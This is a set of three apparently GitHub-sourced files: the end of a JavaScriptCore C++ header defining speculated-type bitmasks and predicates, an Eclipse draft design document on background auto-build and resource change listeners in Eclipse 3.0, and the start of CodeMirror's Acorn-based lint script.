static const SpeculatedType SpecFinalObject = 1ull << 0; // It's definitely a JSFinalObject.
static const SpeculatedType SpecArray = 1ull << 1; // It's definitely a JSArray.
static const SpeculatedType SpecFunctionWithDefaultHasInstance = 1ull << 2; // It's definitely a JSFunction that has its ImplementsDefaultHasInstance type info flags bit set.
static const SpeculatedType SpecFunctionWithNonDefaultHasInstance = 1ull << 3; // It's definitely a JSFunction that does not have its ImplementsDefaultHasInstance type info flags bit set.
static const SpeculatedType SpecFunction = SpecFunctionWithDefaultHasInstance | SpecFunctionWithNonDefaultHasInstance; // It's definitely a JSFunction.
static const SpeculatedType SpecInt8Array = 1ull << 4; // It's definitely an Int8Array or one of its subclasses.
static const SpeculatedType SpecInt16Array = 1ull << 5; // It's definitely an Int16Array or one of its subclasses.
static const SpeculatedType SpecInt32Array = 1ull << 6; // It's definitely an Int32Array or one of its subclasses.
static const SpeculatedType SpecUint8Array = 1ull << 7; // It's definitely an Uint8Array or one of its subclasses.
static const SpeculatedType SpecUint8ClampedArray = 1ull << 8; // It's definitely an Uint8ClampedArray or one of its subclasses.
static const SpeculatedType SpecUint16Array = 1ull << 9; // It's definitely an Uint16Array or one of its subclasses.
static const SpeculatedType SpecUint32Array = 1ull << 10; // It's definitely an Uint32Array or one of its subclasses.
static const SpeculatedType SpecFloat32Array = 1ull << 11; // It's definitely an Uint16Array or one of its subclasses.
static const SpeculatedType SpecFloat64Array = 1ull << 12; // It's definitely an Uint16Array or one of its subclasses.
static const SpeculatedType SpecTypedArrayView = SpecInt8Array | SpecInt16Array | SpecInt32Array | SpecUint8Array | SpecUint8ClampedArray | SpecUint16Array | SpecUint32Array | SpecFloat32Array | SpecFloat64Array;
static const SpeculatedType SpecDirectArguments = 1ull << 13; // It's definitely a DirectArguments object.
static const SpeculatedType SpecScopedArguments = 1ull << 14; // It's definitely a ScopedArguments object.
static const SpeculatedType SpecStringObject = 1ull << 15; // It's definitely a StringObject.
static const SpeculatedType SpecRegExpObject = 1ull << 16; // It's definitely a RegExpObject (and not any subclass of RegExpObject).
static const SpeculatedType SpecMapObject = 1ull << 17; // It's definitely a Map object or one of its subclasses.
static const SpeculatedType SpecSetObject = 1ull << 18; // It's definitely a Set object or one of its subclasses.
static const SpeculatedType SpecWeakMapObject = 1ull << 19; // It's definitely a WeakMap object or one of its subclasses.
static const SpeculatedType SpecWeakSetObject = 1ull << 20; // It's definitely a WeakSet object or one of its subclasses.
static const SpeculatedType SpecProxyObject = 1ull << 21; // It's definitely a Proxy object or one of its subclasses.
static const SpeculatedType SpecDerivedArray = 1ull << 22; // It's definitely a DerivedArray object.
static const SpeculatedType SpecObjectOther = 1ull << 23; // It's definitely an object but not JSFinalObject, JSArray, or JSFunction.
static const SpeculatedType SpecStringIdent = 1ull << 24; // It's definitely a JSString, and it's an identifier.
static const SpeculatedType SpecStringVar = 1ull << 25; // It's definitely a JSString, and it's not an identifier.
static const SpeculatedType SpecString = SpecStringIdent | SpecStringVar; // It's definitely a JSString.
static const SpeculatedType SpecSymbol = 1ull << 26; // It's definitely a Symbol.
static const SpeculatedType SpecCellOther = 1ull << 27; // It's definitely a JSCell but not a subclass of JSObject and definitely not a JSString, BigInt, or Symbol.
static const SpeculatedType SpecBoolInt32 = 1ull << 28; // It's definitely an Int32 with value 0 or 1.
static const SpeculatedType SpecNonBoolInt32 = 1ull << 29; // It's definitely an Int32 with value other than 0 or 1.
static const SpeculatedType SpecInt32Only = SpecBoolInt32 | SpecNonBoolInt32; // It's definitely an Int32.
static const SpeculatedType SpecInt32AsInt52 = 1ull << 30; // It's an Int52 and it can fit in an int32.
static const SpeculatedType SpecNonInt32AsInt52 = 1ull << 31; // It's an Int52 and it can't fit in an int32.
static const SpeculatedType SpecInt52Any = SpecInt32AsInt52 | SpecNonInt32AsInt52; // It's any kind of Int52.
static const SpeculatedType SpecAnyIntAsDouble = 1ull << 32; // It's definitely an Int52 and it's inside a double.
static const SpeculatedType SpecNonIntAsDouble = 1ull << 33; // It's definitely not an Int52 but it's a real number and it's a double.
static const SpeculatedType SpecDoubleReal = SpecNonIntAsDouble | SpecAnyIntAsDouble; // It's definitely a non-NaN double.
static const SpeculatedType SpecDoublePureNaN = 1ull << 34; // It's definitely a NaN that is safe to tag (i.e. pure).
static const SpeculatedType SpecDoubleImpureNaN = 1ull << 35; // It's definitely a NaN that is unsafe to tag (i.e. impure).
static const SpeculatedType SpecDoubleNaN = SpecDoublePureNaN | SpecDoubleImpureNaN; // It's definitely some kind of NaN.
static const SpeculatedType SpecBytecodeDouble = SpecDoubleReal | SpecDoublePureNaN; // It's either a non-NaN or a NaN double, but it's definitely not impure NaN.
static const SpeculatedType SpecFullDouble = SpecDoubleReal | SpecDoubleNaN; // It's either a non-NaN or a NaN double.
static const SpeculatedType SpecBytecodeRealNumber = SpecInt32Only | SpecDoubleReal; // It's either an Int32 or a DoubleReal.
static const SpeculatedType SpecFullRealNumber = SpecInt32Only | SpecInt52Any | SpecDoubleReal; // It's either an Int32 or a DoubleReal, or an Int52.
static const SpeculatedType SpecBytecodeNumber = SpecInt32Only | SpecBytecodeDouble; // It's either an Int32 or a Double, and the Double cannot be an impure NaN.
static const SpeculatedType SpecIntAnyFormat = SpecInt52Any | SpecInt32Only | SpecAnyIntAsDouble;
static const SpeculatedType SpecFullNumber = SpecIntAnyFormat | SpecFullDouble; // It's either an Int32, Int52, or a Double, and the Double can be impure NaN.
static const SpeculatedType SpecBoolean = 1ull << 36; // It's definitely a Boolean.
static const SpeculatedType SpecOther = 1ull << 37; // It's definitely either Null or Undefined.
static const SpeculatedType SpecMisc = SpecBoolean | SpecOther; // It's definitely either a boolean, Null, or Undefined.
static const SpeculatedType SpecEmpty = 1ull << 38; // It's definitely an empty value marker.
static const SpeculatedType SpecBigInt = 1ull << 39; // It's definitely a BigInt.
static const SpeculatedType SpecDataViewObject = 1ull << 40; // It's definitely a JSDataView.
static const SpeculatedType SpecPrimitive = SpecString | SpecSymbol | SpecBytecodeNumber | SpecMisc | SpecBigInt; // It's any non-Object JSValue.
static const SpeculatedType SpecObject = SpecFinalObject | SpecArray | SpecFunction | SpecTypedArrayView | SpecDirectArguments | SpecScopedArguments | SpecStringObject | SpecRegExpObject | SpecMapObject | SpecSetObject | SpecWeakMapObject | SpecWeakSetObject | SpecProxyObject | SpecDerivedArray | SpecObjectOther | SpecDataViewObject; // Bitmask used for testing for any kind of object prediction.
static const SpeculatedType SpecCell = SpecObject | SpecString | SpecSymbol | SpecCellOther | SpecBigInt; // It's definitely a JSCell.
static const SpeculatedType SpecHeapTop = SpecCell | SpecBytecodeNumber | SpecMisc; // It can be any of the above, except for SpecInt52Only and SpecDoubleImpureNaN.
static const SpeculatedType SpecBytecodeTop = SpecHeapTop | SpecEmpty; // It can be any of the above, except for SpecInt52Only and SpecDoubleImpureNaN. Corresponds to what could be found in a bytecode local.
static const SpeculatedType SpecFullTop = SpecBytecodeTop | SpecFullNumber; // It can be anything that bytecode could see plus exotic encodings of numbers.
// SpecCellCheck is the type set representing the values that can flow through a cell check.
// On 64-bit platforms, the empty value passes a cell check. Also, ~SpecCellCheck is the type
// set that representing the values that flow through when testing that something is not a cell.
static const SpeculatedType SpecCellCheck = is64Bit() ? (SpecCell | SpecEmpty) : SpecCell;
typedef bool (*SpeculatedTypeChecker)(SpeculatedType);
// Dummy prediction checker, only useful if someone insists on requiring a prediction checker.
inline bool isAnySpeculation(SpeculatedType)
{
return true;
}
inline bool isCellSpeculation(SpeculatedType value)
{
return !!(value & SpecCell) && !(value & ~SpecCell);
}
inline bool isCellOrOtherSpeculation(SpeculatedType value)
{
return !!value && !(value & ~(SpecCell | SpecOther));
}
inline bool isNotCellSpeculation(SpeculatedType value)
{
return !(value & SpecCellCheck) && value;
}
inline bool isObjectSpeculation(SpeculatedType value)
{
return !!(value & SpecObject) && !(value & ~SpecObject);
}
inline bool isObjectOrOtherSpeculation(SpeculatedType value)
{
return !!(value & (SpecObject | SpecOther)) && !(value & ~(SpecObject | SpecOther));
}
inline bool isFinalObjectSpeculation(SpeculatedType value)
{
return value == SpecFinalObject;
}
inline bool isFinalObjectOrOtherSpeculation(SpeculatedType value)
{
return !!(value & (SpecFinalObject | SpecOther)) && !(value & ~(SpecFinalObject | SpecOther));
}
inline bool isStringIdentSpeculation(SpeculatedType value)
{
return value == SpecStringIdent;
}
inline bool isNotStringVarSpeculation(SpeculatedType value)
{
return !(value & SpecStringVar);
}
inline bool isStringSpeculation(SpeculatedType value)
{
return !!value && (value & SpecString) == value;
}
inline bool isNotStringSpeculation(SpeculatedType value)
{
return value && !(value & SpecString);
}
inline bool isStringOrOtherSpeculation(SpeculatedType value)
{
return !!value && (value & (SpecString | SpecOther)) == value;
}
inline bool isSymbolSpeculation(SpeculatedType value)
{
return value == SpecSymbol;
}
inline bool isBigIntSpeculation(SpeculatedType value)
{
return value == SpecBigInt;
}
inline bool isArraySpeculation(SpeculatedType value)
{
return value == SpecArray;
}
inline bool isFunctionSpeculation(SpeculatedType value)
{
return value == SpecFunction;
}
inline bool isProxyObjectSpeculation(SpeculatedType value)
{
return value == SpecProxyObject;
}
inline bool isDerivedArraySpeculation(SpeculatedType value)
{
return value == SpecDerivedArray;
}
inline bool isInt8ArraySpeculation(SpeculatedType value)
{
return value == SpecInt8Array;
}
inline bool isInt16ArraySpeculation(SpeculatedType value)
{
return value == SpecInt16Array;
}
inline bool isInt32ArraySpeculation(SpeculatedType value)
{
return value == SpecInt32Array;
}
inline bool isUint8ArraySpeculation(SpeculatedType value)
{
return value == SpecUint8Array;
}
inline bool isUint8ClampedArraySpeculation(SpeculatedType value)
{
return value == SpecUint8ClampedArray;
}
inline bool isUint16ArraySpeculation(SpeculatedType value)
{
return value == SpecUint16Array;
}
inline bool isUint32ArraySpeculation(SpeculatedType value)
{
return value == SpecUint32Array;
}
inline bool isFloat32ArraySpeculation(SpeculatedType value)
{
return value == SpecFloat32Array;
}
inline bool isFloat64ArraySpeculation(SpeculatedType value)
{
return value == SpecFloat64Array;
}
inline bool isDirectArgumentsSpeculation(SpeculatedType value)
{
return value == SpecDirectArguments;
}
inline bool isScopedArgumentsSpeculation(SpeculatedType value)
{
return value == SpecScopedArguments;
}
inline bool isActionableIntMutableArraySpeculation(SpeculatedType value)
{
return isInt8ArraySpeculation(value)
|| isInt16ArraySpeculation(value)
|| isInt32ArraySpeculation(value)
|| isUint8ArraySpeculation(value)
|| isUint8ClampedArraySpeculation(value)
|| isUint16ArraySpeculation(value)
|| isUint32ArraySpeculation(value);
}
inline bool isActionableFloatMutableArraySpeculation(SpeculatedType value)
{
return isFloat32ArraySpeculation(value)
|| isFloat64ArraySpeculation(value);
}
inline bool isActionableTypedMutableArraySpeculation(SpeculatedType value)
{
return isActionableIntMutableArraySpeculation(value)
|| isActionableFloatMutableArraySpeculation(value);
}
inline bool isActionableMutableArraySpeculation(SpeculatedType value)
{
return isArraySpeculation(value)
|| isActionableTypedMutableArraySpeculation(value);
}
inline bool isActionableArraySpeculation(SpeculatedType value)
{
return isStringSpeculation(value)
|| isDirectArgumentsSpeculation(value)
|| isScopedArgumentsSpeculation(value)
|| isActionableMutableArraySpeculation(value);
}
inline bool isArrayOrOtherSpeculation(SpeculatedType value)
{
return !!(value & (SpecArray | SpecOther)) && !(value & ~(SpecArray | SpecOther));
}
inline bool isStringObjectSpeculation(SpeculatedType value)
{
return value == SpecStringObject;
}
inline bool isStringOrStringObjectSpeculation(SpeculatedType value)
{
return !!value && !(value & ~(SpecString | SpecStringObject));
}
inline bool isRegExpObjectSpeculation(SpeculatedType value)
{
return value == SpecRegExpObject;
}
inline bool isBoolInt32Speculation(SpeculatedType value)
{
return value == SpecBoolInt32;
}
inline bool isInt32Speculation(SpeculatedType value)
{
return value && !(value & ~SpecInt32Only);
}
inline bool isNotInt32Speculation(SpeculatedType value)
{
return value && !(value & SpecInt32Only);
}
inline bool isInt32OrBooleanSpeculation(SpeculatedType value)
{
return value && !(value & ~(SpecBoolean | SpecInt32Only));
}
inline bool isInt32SpeculationForArithmetic(SpeculatedType value)
{
return !(value & (SpecFullDouble | SpecNonInt32AsInt52));
}
inline bool isInt32OrBooleanSpeculationForArithmetic(SpeculatedType value)
{
return !(value & (SpecFullDouble | SpecNonInt32AsInt52));
}
inline bool isInt32OrBooleanSpeculationExpectingDefined(SpeculatedType value)
{
return isInt32OrBooleanSpeculation(value & ~SpecOther);
}
inline bool isAnyInt52Speculation(SpeculatedType value)
{
return !!value && (value & SpecInt52Any) == value;
}
inline bool isInt32OrInt52Speculation(SpeculatedType value)
{
return !!value && (value & (SpecInt32Only | SpecInt52Any)) == value;
}
inline bool isIntAnyFormat(SpeculatedType value)
{
return !!value && (value & SpecIntAnyFormat) == value;
}
inline bool isAnyIntAsDoubleSpeculation(SpeculatedType value)
{
return value == SpecAnyIntAsDouble;
}
inline bool isDoubleRealSpeculation(SpeculatedType value)
{
return !!value && (value & SpecDoubleReal) == value;
}
inline bool isDoubleSpeculation(SpeculatedType value)
{
return !!value && (value & SpecFullDouble) == value;
}
inline bool isDoubleSpeculationForArithmetic(SpeculatedType value)
{
return !!(value & SpecFullDouble);
}
inline bool isBytecodeRealNumberSpeculation(SpeculatedType value)
{
return !!(value & SpecBytecodeRealNumber) && !(value & ~SpecBytecodeRealNumber);
}
inline bool isFullRealNumberSpeculation(SpeculatedType value)
{
return !!(value & SpecFullRealNumber) && !(value & ~SpecFullRealNumber);
}
inline bool isBytecodeNumberSpeculation(SpeculatedType value)
{
return !!(value & SpecBytecodeNumber) && !(value & ~SpecBytecodeNumber);
}
inline bool isFullNumberSpeculation(SpeculatedType value)
{
return !!(value & SpecFullNumber) && !(value & ~SpecFullNumber);
}
inline bool isFullNumberOrBooleanSpeculation(SpeculatedType value)
{
return value && !(value & ~(SpecFullNumber | SpecBoolean));
}
inline bool isFullNumberOrBooleanSpeculationExpectingDefined(SpeculatedType value)
{
return isFullNumberOrBooleanSpeculation(value & ~SpecOther);
}
inline bool isBooleanSpeculation(SpeculatedType value)
{
return value == SpecBoolean;
}
inline bool isNotBooleanSpeculation(SpeculatedType value)
{
return value && !(value & SpecBoolean);
}
inline bool isOtherSpeculation(SpeculatedType value)
{
return value == SpecOther;
}
inline bool isMiscSpeculation(SpeculatedType value)
{
return !!value && !(value & ~SpecMisc);
}
inline bool isOtherOrEmptySpeculation(SpeculatedType value)
{
return !value || value == SpecOther;
}
inline bool isEmptySpeculation(SpeculatedType value)
{
return value == SpecEmpty;
}
inline bool isUntypedSpeculationForArithmetic(SpeculatedType value)
{
return !!(value & ~(SpecFullNumber | SpecBoolean));
}
inline bool isUntypedSpeculationForBitOps(SpeculatedType value)
{
return !!(value & ~(SpecFullNumber | SpecBoolean | SpecOther));
}
void dumpSpeculation(PrintStream&, SpeculatedType);
void dumpSpeculationAbbreviated(PrintStream&, SpeculatedType);
MAKE_PRINT_ADAPTOR(SpeculationDump, SpeculatedType, dumpSpeculation);
MAKE_PRINT_ADAPTOR(AbbreviatedSpeculationDump, SpeculatedType, dumpSpeculationAbbreviated);
// Merge two predictions. Note that currently this just does left | right. It may
// seem tempting to do so directly, but you would be doing so at your own peril,
// since the merging protocol SpeculatedType may change at any time (and has already
// changed several times in its history).
inline SpeculatedType mergeSpeculations(SpeculatedType left, SpeculatedType right)
{
return left | right;
}
template<typename T>
inline bool mergeSpeculation(T& left, SpeculatedType right)
{
SpeculatedType newSpeculation = static_cast<T>(mergeSpeculations(static_cast<SpeculatedType>(left), right));
bool result = newSpeculation != static_cast<SpeculatedType>(left);
left = newSpeculation;
return result;
}
inline bool speculationChecked(SpeculatedType actual, SpeculatedType desired)
{
return (actual | desired) == desired;
}
SpeculatedType speculationFromClassInfo(const ClassInfo*);
SpeculatedType speculationFromStructure(Structure*);
SpeculatedType speculationFromCell(JSCell*);
JS_EXPORT_PRIVATE SpeculatedType speculationFromValue(JSValue);
// If it's an anyInt(), it'll return speculated types from the Int52 lattice.
// Otherwise, it'll return types from the JSValue lattice.
JS_EXPORT_PRIVATE SpeculatedType int52AwareSpeculationFromValue(JSValue);
SpeculatedType speculationFromJSType(JSType);
SpeculatedType speculationFromTypedArrayType(TypedArrayType); // only valid for typed views.
TypedArrayType typedArrayTypeFromSpeculation(SpeculatedType);
SpeculatedType leastUpperBoundOfStrictlyEquivalentSpeculations(SpeculatedType);
bool valuesCouldBeEqual(SpeculatedType, SpeculatedType);
// Precise computation of the type of the result of a double computation after we
// already know that the inputs are doubles and that the result must be a double. Use
// the closest one of these that applies.
SpeculatedType typeOfDoubleSum(SpeculatedType, SpeculatedType);
SpeculatedType typeOfDoubleDifference(SpeculatedType, SpeculatedType);
SpeculatedType typeOfDoubleProduct(SpeculatedType, SpeculatedType);
SpeculatedType typeOfDoubleQuotient(SpeculatedType, SpeculatedType);
SpeculatedType typeOfDoubleMinMax(SpeculatedType, SpeculatedType);
SpeculatedType typeOfDoubleNegation(SpeculatedType);
SpeculatedType typeOfDoubleAbs(SpeculatedType);
SpeculatedType typeOfDoubleRounding(SpeculatedType);
SpeculatedType typeOfDoublePow(SpeculatedType, SpeculatedType);
// This conservatively models the behavior of arbitrary double operations.
SpeculatedType typeOfDoubleBinaryOp(SpeculatedType, SpeculatedType);
SpeculatedType typeOfDoubleUnaryOp(SpeculatedType);
// This is mostly for debugging so we can fill profiles from strings.
SpeculatedType speculationFromString(const char*);
} // namespace JSC
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Resource change listeners in a concurrent world</title>
<link rel="stylesheet" href="http://dev.eclipse.org/default_style.css" type="text/css">
</head>
<body text="#000000" bgcolor="#FFFFFF">
<h1>Listeners and builders in a concurrent world</h1>
<font size="-1">[Draft copy] </font><br><br>
<font size="-1">Last modified: August 7, 2003</font>
<p>In the context of the work on improving platform responsiveness,
there are some proposed changes to how resource change listeners
and incremental project builders operate. This document describes and
motivates these changes. The existing (Eclipse 2.1) behavior of listeners and
auto-build will be described, along with a description of how this will change in Eclipse 3.0.
Finally, this document includes a description of how existing implementations might
be impacted and how they can adapt to the new behavior.
<h3>Overview and motivation</h3>
<p>
The principal proposed change for release 3.0 is that auto-build will be called in a
separate thread from which the workspace change
occurred. This means builders will run concurrently with the thread that
caused the change, and there will be <b>no guarantee at all</b> about precisely
when builders will be called. The only guarantee is that all builders
will eventually be run when auto-build is turned on.</p>
<p>
There are a number of motivations for this change. First, there is a need to minimize
the duration for which the workspace lock is held by an operation. In Eclipse 2.1,
every workspace operation had an automatic resource change notification and
auto-build cycle attached to the end of it. The operation did not complete until
all notifications and auto-builds had finished. For the entire duration of this cycle,
the workspace was locked to prevent concurrent changes in other threads.
This long term exclusive locking must be reduced if there is any hope to obtain
greater concurrency in Eclipse 3.0. One way to shorten the duration of this locking
is to split up the operation itself and the auto-build into separate units of work.
</p>
<p>
In addition, this rigid notification and build strategy resulted in poor performance if clients
neglected to batch groups of changes into a single operation (via
<code>IWorkspaceRunnable</code>). Decoupling the workspace operation
from the build phase allows us to employ strategies to limit the number
of builds, and to lower the priority of builds to give precedence to other workspace
changing operations.
</p>
<p>
<p>
Another change that will be made to improve responsiveness is to add notifications
<b>during</b> long running operations. An upper bound will be introduced on the
delay between a workspace change and the notification. This means that even if an
operation takes several minutes, it will be reporting incremental resource changes
periodically throughout the operation. The increased notifications will act as an added
feedback mechanism to show the user that progress is being made on an operation.
This also allows the user to begin working with some of the output
of the operation before it completes. For example, a user will be able to begin
editing imported files before the import is complete, if the import is taking a long time.
</p>
<h3>Old behavior of listeners and auto-build</h3>
<p>Every workspace changing operation or group of changes batched with
<tt>IWorkspaceRunnable</tt> had the following structure prior to Eclipse 3.0:
<ol>
<li><tt>PRE_DELETE</tt> or <tt>PRE_CLOSE</tt> notification if applicable</li>
<li>Perform the operation</li>
<li><tt>PRE_AUTO_BUILD</tt> notification</li>
<li>If auto-build is on, perform incremental workspace build</li>
<li><tt>POST_AUTO_BUILD</tt> notification</li>
<li><tt>POST_CHANGE</tt> notification</li>
</ol>
The following characteristics are worth noting:
<ul>
<li>pre- and post- build notifications occurred regardless of whether auto-build was on.</li>
<li>pre- and post- build events contained a partial delta for the changes up to that
point. Their deltas were always a subset of the delta supplied to <tt>POST_CHANGE</tt>
listeners.</li>
<li>pre- and post- build listeners are allowed to modify the workspace, but
other listeners cannot.</li>
</ul>
<h3>Overview of changes for listeners in Eclipse 3.0</h3>
<p>
With the proposed changes for Eclipse 3.0, steps 3-5 in the above structure are
removed from the operation. The resulting picture looks like this:
<ol>
<li><tt>PRE_DELETE</tt> or <tt>PRE_CLOSE</tt> notification if applicable</li>
<li>Perform the operation</li>
<li><tt>POST_CHANGE</tt> notification</li>
</ol>
</p>
<p>
Periodically, the platform will perform a background workspace build operation. The exact
timing of when this build occurs will not be specified. The structure of the build
operation will look like this:
<ol>
<li><tt>PRE_AUTO_BUILD</tt> notification</li>
<li>If auto-build is on, perform incremental workspace build</li>
<li><tt>POST_AUTO_BUILD</tt> notification</li>
<li><tt>POST_CHANGE</tt> notification</li>
</ol>
The reference point for the deltas received by auto-build listeners will be different
from post-change listeners. Build listeners receive notification of all changes
since the end of the last build operation. Post-change listeners receive a delta
describing all changes since the last post-change notification. This structure retains
three characteristics of resource change listeners that have been true since Eclipse 1.0:
<ul>
<li><tt>POST_CHANGE</tt> listeners receive notification of absolutely all resource
changes that occur during the time they are registered. This includes changes made
by builders, and changes made by other listeners.</li>
<li><tt>PRE_AUTO_BUILD</tt> listeners receive notification of all resource
changes <b>except</b> changes made by builders and resource change listeners.
<li><tt>POST_AUTO_BUILD</tt> listeners receive notification of all resource
changes <b>except</b> changes made by other <tt>POST_AUTO_BUILD</tt>
listeners.
</ul>
However, there are some important differences with this approach. Prior
to Eclipse 3.0, auto-build listeners were always called before <tt>POST_CHANGE</tt>
listeners. For this reason, the delta received by auto-build listeners was always
a subset of the delta received by the <tt>POST_CHANGE</tt> listeners.
This relationship is now essentially reversed. Auto-build listeners will receive
a delta that is a super-set of all deltas supplied to <tt>POST_CHANGE</tt>
listeners since the end of the last background build.
As before, auto-build listeners will be allowed to modify the workspace, and
post-change listeners will not.
</p>
<h3>Overview of changes for builders in Eclipse 3.0</h3>
<p>
The proposed changes for incremental project builders are conservative.
The task of an incremental builder is to reconcile an arbitrary set of changes
to a densely interconnected web of source files to produce an output that
is a consistent representation of the source. This is a difficult enough task to achieve
in a single-threaded environment that to attempt it in a concurrent environment
would be courting disaster. On the other hand, building can take a long time, and
there is a very high value in moving this work to a non-blocking background thread
to allow the user to continue working.
</p>
<p>
With these factors in mind, the proposal is to move auto-build into a background
thread, but to preempt the build when another operation attempts to modify the
workspace. A typical work flow would go like this:
<ol>
<li>A user modifies a file and saves the change.</li>
<li>Auto-build starts.</li>
<li>The user modifies the file again and attempts to save.</li>
<li>The auto-build started in step 2 is halted at the nearest convenient stopping point.</li>
<li>The file modification is allowed to proceed.</li>
<li>Auto-build starts running again.</li>
</ol>
The "nearest convenient stopping point" in this case is at the end
of the current builder invocation. No builder will be halted in the middle of building
a single project. This strategy ensures that the user doesn't have to wait long before they
are allowed to make their change, and that workspace changes don't happen in the
middle of a single builder invocation. When a preempted auto-build resumes, it must
start again at the beginning of the build order to ensure that interdependent projects
are built in the correct order. However, builders that successfully ran
before will not be given the same delta again.
</p>
<p>
This new strategy is designed to have no impact on existing builder implementations.
In essence, this approach is equivalent to a mode where auto-build is off, but a
background thread is performing an incremental build periodically. In other words, since this
strategy (apart from the preemption) can be implemented using existing API, it
should have no impact on existing builders. No new API is proposed for builders,
and no API changes are planned.
</p>
<h3>Summary of proposed API changes</h3>
<p>
From a binary compatibility view, this proposal includes no new API, and no
API changes. The changes are 100% binary compatible with all prior Eclipse releases.
There are two proposed changes to the API contract of resource change listeners:
<ol>
<li>It will no longer be guaranteed that all resource changes that occur during the
dynamic scope of an <code>IWorkspaceRunnable</code> will be batched in a single
notification. This mechanism can still be used for batching changes to avoid unneccessary
builds and notifications, but the platform may decide to perform a notification during the
operation if sufficient time has elapsed. Note that it was previously possible for resource
change notifications to occur during the invocation of an <code>IWorkspaceRunnable</code>
via the <code>IWorkspace.checkpoint</code> API method. Therefore, this API change
is not likely to be a breaking change for existing clients. It is equivalent to the platform
deciding to call <code>IWorkspace.checkpoint</code> periodically during a long running
operations.</li>
<li>
The javadoc of <tt>IResourceChangeEvent</tt> states that <tt>POST_CHANGE</tt>
events happen immediately after <tt>POST_AUTO_BUILD</tt> events. This will no
longer always be true. The converse will still be true: <tt>POST_AUTO_BUILD</tt>
events will always be followed immediately by a <tt>POST_CHANGE</tt> event.
To boil it down: auto-build events still occur at the same time in relation to builds, they
still receive exactly the same information, but they just occur less frequently.
</li>
</ol>
</p>
<h3>How clients might be impacted</h3>
<p>
From the viewpoint of a listener of <tt>POST_CHANGE</tt> notifications, this
new structure has <b>no effect at all</b>. This new structure is
equivalent to a mode where auto-build is turned off, and the user is performing
a manual workspace build once in awhile. Most importantly, <tt>POST_CHANGE</tt>
listeners are still guaranteed to receive a delta that contains all changes made
since the last notification.
</p>
<p>
For listeners to auto-build events, the new structure has some signficant differences.
Primarily, it will no longer be true that upon completion of a workspace changing
operation, that auto-build listeners will have been notified. Client code that makes
assumptions about when auto-build listeners run are likely to be broken by this change.
For example, if an auto-build listener is updating a domain model to reflect changes
to the workspace, then this update might not have happened when the workspace
changing operation returns.
</p>
<p>
It is worth noting that only UI-level code can be affected in this way. Core-level
code that is called via API may be called within the scope of an <tt>IWorkspaceRunnable</tt>,
so it can never be sure about when resource change listeners will be called. The suggested
fix for this breakage is to use <tt>POST_CHANGE</tt> instead of build listeners if
it is necessary to have notification occur before the operation completes.
</p>
<p>
Another potential breakage is in clients that make assumptions about the ordering
of resource change listeners. Previously, <tt>PRE_AUTO_BUILD</tt>, <tt>POST_AUTO_BUILD</tt>,
and <tt>POST_CHANGE</tt> events occurred in a strict linear order. If listeners in
<tt>POST_CHANGE</tt> assume that the auto-build events have already fired,
they may be broken.
</p>
<h3>Status and schedule</h3>
<p>
All described changes have been implemented. All work is currently in branch "Bug_36957"
of project org.eclipse.core.resources. Basic sanity checking of the SDK reveals no
significant problems, and some core team members are self-hosting with it.
All platform core test suites now pass with background auto-building. There are
some failures in JDT core test suites where they make assumptions about the timing
of auto-build deltas. The JDT core team is investigating this. The hope is to release
these changes to integration builds before the 3.0 M3 milestone.
<p>
Go <a href="../planning/3.0/plan_concurrency.html">back to concurrency home</a>.
</p>
(Plan item bug reference: <a
href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=36957">36957</a>)<br>
</body>
</html> | {
"pile_set_name": "Github"
} |
/*
Simple linter, based on the Acorn [1] parser module
All of the existing linters either cramp my style or have huge
dependencies (Closure). So here's a very simple, non-invasive one
that only spots
- missing semicolons and trailing commas
- variables or properties that are reserved words
- assigning to a variable you didn't declare
- access to non-whitelisted globals
(use a '// declare global: foo, bar' comment to declare extra
globals in a file)
[1]: https://github.com/marijnh/acorn/
*/
var topAllowedGlobals = Object.create(null);
("Error RegExp Number String Array Function Object Math Date undefined " +
"parseInt parseFloat Infinity NaN isNaN " +
"window document navigator prompt alert confirm console " +
"FileReader Worker postMessage importScripts " +
"setInterval clearInterval setTimeout clearTimeout " +
"CodeMirror " +
"test exports require module define")
.split(" ").forEach(function(n) { topAllowedGlobals[n] = true; });
var fs = require("fs"), acorn = require("./acorn.js"), walk = require("./walk.js");
var scopePasser = walk.make({
ScopeBody: function(node, prev, c) { c(node, node.scope); }
});
var cBlob = /^\/\/ CodeMirror, copyright \(c\) by Marijn Haverbeke and others\n\/\/ Distributed under an MIT license: http:\/\/codemirror.net\/LICENSE\n\n/;
function checkFile(fileName) {
var file = fs.readFileSync(fileName, "utf8"), notAllowed;
if (notAllowed = file.match(/[\x00-\x08\x0b\x0c\x0e-\x19\uFEFF\t]|[ \t]\n/)) {
var msg;
if (notAllowed[0] == "\t") msg = "Found tab character";
else if (notAllowed[0].indexOf("\n") > -1) msg = "Trailing whitespace";
else msg = "Undesirable character " + notAllowed[0].charCodeAt(0);
var info = acorn.getLineInfo(file, notAllowed.index);
fail(msg + " at line " + info.line + ", column " + info.column, {source: fileName});
}
if (!cBlob.test(file))
fail("Missing license blob", {source: fileName});
var globalsSeen = Object.create(null);
try {
var parsed = acorn.parse(file, {
locations: true,
ecmaVersion: 3,
strictSemicolons: true,
allowTrailingCommas: false,
forbidReserved: "everywhere",
sourceFile: fileName
});
} catch (e) {
fail(e.message, {source: fileName});
return;
}
var scopes = [];
walk.simple(parsed, {
ScopeBody: function(node, scope) {
node.scope = scope;
scopes.push(scope);
}
}, walk.scopeVisitor, {vars: Object.create(null)});
var ignoredGlobals = Object.create(null);
function inScope(name, scope) {
for (var cur = scope; cur; cur = cur.prev)
if (name in cur.vars) return true;
}
function checkLHS(node, scope) {
if (node.type == "Identifier" && !(node.name in ignoredGlobals) &&
!inScope(node.name, scope)) {
ignoredGlobals[node.name] = true;
fail("Assignment to global variable", node.loc);
}
}
walk.simple(parsed, {
UpdateExpression: function(node, scope) {checkLHS(node.argument, scope);},
AssignmentExpression: function(node, scope) {checkLHS(node.left, scope);},
Identifier: function(node, scope) {
if (node.name == "arguments") return;
// Mark used identifiers
for (var cur = scope; cur; cur = cur.prev)
if (node.name in cur.vars) {
cur.vars[node.name].used = true;
return;
}
globalsSeen[node.name] = node.loc;
},
FunctionExpression: function(node) {
if (node.id) fail("Named function expression", node.loc);
},
ForStatement: function(node) {
checkReusedIndex(node);
},
MemberExpression: function(node) {
if (node.object.type == "Identifier" && node.object.name == "console" && !node.computed)
fail("Found console." + node.property.name, node.loc);
},
DebuggerStatement: function(node) {
